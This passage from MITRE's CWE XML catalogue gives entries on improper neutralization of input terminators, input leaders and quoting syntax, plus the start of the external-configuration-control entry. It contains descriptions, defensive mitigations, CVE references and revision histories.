         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="15"/>
            <Related_Attack_Pattern CAPEC_ID="6"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 8, &#34;Embedded Delimiters&#34;, Page 408"/>
         </References>
         <Notes>
            <Note Type="Relationship">A shell metacharacter (covered in CWE-150) is one example of a potential delimiter that may need to be neutralized.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Other_Notes, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Delimiter between Expressions or Commands</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-04-05">Failure to Sanitize Expression/Command Delimiters</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="147" Name="Improper Neutralization of Input Terminators" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as input terminators when they are sent to a downstream component.</Description>
         <Extended_Description>For example, a "." in SMTP signifies the end of mail message data, whereas a null character can be used for the end of a string.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="138" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Description>Developers should anticipate that terminators will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-28">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2000-0319</Reference>
               <Description>MFV. mail server does not properly identify terminator string to signify end of message, causing corruption, possibly in conjunction with off-by-one error.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0319</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0320</Reference>
               <Description>MFV. mail server does not properly identify terminator string to signify end of message, causing corruption, possibly in conjunction with off-by-one error.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0320</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0996</Reference>
               <Description>Mail server does not quote end-of-input terminator if it appears in the middle of a message.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0996</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0001</Reference>
               <Description>Improperly terminated comment or phrase allows commands.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0001</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Input Terminator</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="460"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-01-30">Input Terminator</Previous_Entry_Name>
            <Previous_Entry_Name Date="2008-04-11">Failure to Remove Input Terminator</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-03-10">Failure to Sanitize Input Terminators</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-04-05">Improper Sanitization of Input Terminators</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="148" Name="Improper Neutralization of Input Leaders" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product does not properly handle when a leading character or sequence ("leader") is missing or malformed, or if multiple leaders are used when only one should be allowed.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="138" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Description>Developers should anticipate that leading characters will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-28">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Input Leader</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-01-30">Input Leader</Previous_Entry_Name>
            <Previous_Entry_Name Date="2008-04-11">Failure to Remove Input Leader</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-06-21">Failure to Sanitize Input Leaders</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="149" Name="Improper Neutralization of Quoting Syntax" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>Quotes injected into a product can be used to compromise a system. As data are parsed, an injected/absent/duplicate/malformed use of quotes may cause the process to take unexpected actions.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="138" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Description>Developers should anticipate that quotes will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-28">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2004-0956</Reference>
               <Description>Database allows remote attackers to cause a denial of service (application crash) via a MATCH AGAINST query with an opening double quote but no closing double quote.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0956</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-1016</Reference>
               <Description>MIE. MFV too? bypass AV/security with fields that should not be quoted, duplicate quotes, missing leading/trailing quotes.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-1016</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Quoting Element</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="468"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Observed_Example, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-01-30">Quoting Element</Previous_Entry_Name>
            <Previous_Entry_Name Date="2008-04-11">Failure to Remove Quoting Element</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-06-21">Failure to Sanitize Quoting Syntax</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="15" Name="External Control of System or Configuration Setting" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>One or more system settings or configuration elements can be externally controlled by a user.</Description>
         <Extended_Description>Allowing external control of system settings can disrupt service or cause an application to behave in unexpected, and potentially malicious ways.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="642" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="610" View_ID="1000"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="20" View_ID="700" Ordinal="Primary"/>
         </Related_Weaknesses>
		 <Applicable_Platforms>
		   <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
		   <Technology Class="ICS/OT" Prevalence="Undetermined"/>
		 </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>Setting manipulation vulnerabilities occur when an attacker can control values that govern the behavior of the system, manage specific resources, or in some way affect the functionality of the application.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
